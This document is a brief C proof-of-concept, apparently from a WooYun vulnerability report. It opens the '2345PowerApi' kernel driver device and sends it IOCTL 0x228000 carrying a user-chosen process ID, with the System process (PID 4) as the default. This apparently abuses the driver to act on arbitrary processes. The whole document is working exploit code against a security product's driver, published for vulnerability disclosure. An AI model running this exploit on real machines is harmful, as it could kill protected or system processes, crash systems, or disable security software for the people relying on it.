WooYun.org

//
#include <Windows.h>
#define CONTROLCODE1 0x228000
HANDLE OpenDevice(TCHAR *devName)
{
	HANDLE hDev = CreateFile(devName, 
					GENERIC_ALL, 
					FILE_SHARE_READ | FILE_SHARE_WRITE, 
					NULL, 
					OPEN_EXISTING, 
					FILE_ATTRIBUTE_NORMAL, 
					NULL);
	return hDev;
}
void CloseDevice(HANDLE hDev)
{
	CloseHandle(hDev);
}
int SendMessageToDev(HANDLE hDev, DWORD dwIoControlCode, BYTE *inBuffer, DWORD inBufferSize, BYTE *outBuffer, DWORD outBufferSize)
{
	DWORD outLength;
	BOOL ret = DeviceIoControl(hDev, dwIoControlCode, inBuffer, inBufferSize, outBuffer, outBufferSize, &outLength, NULL);
	if (ret)
		return outLength;
	else
		return -1;
}
void Poc()
{
	HANDLE hDev = OpenDevice(_T("\\\\.\\2345PowerApi"));
	if (hDev == INVALID_HANDLE_VALUE) {
		printf("[-] Open device failed!gle:%d\n", GetLastError());
		return;
	}
	DWORD pid = 4;
	printf("Input pid:\n\t");
	scanf_s("%d", &pid);
	int ret = SendMessageToDev(hDev, CONTROLCODE1, (BYTE *)&pid, 4, NULL, 0);
	if (ret < 0) {
		printf("[-]Control device failed, gle:%d.\n", GetLastError());
		return;
	}
	CloseDevice(hDev);
	printf("[*]Ok!\n");
	return;
}
int _tmain(int argc, _TCHAR* argv[])
{
	Poc();
	return 0;
}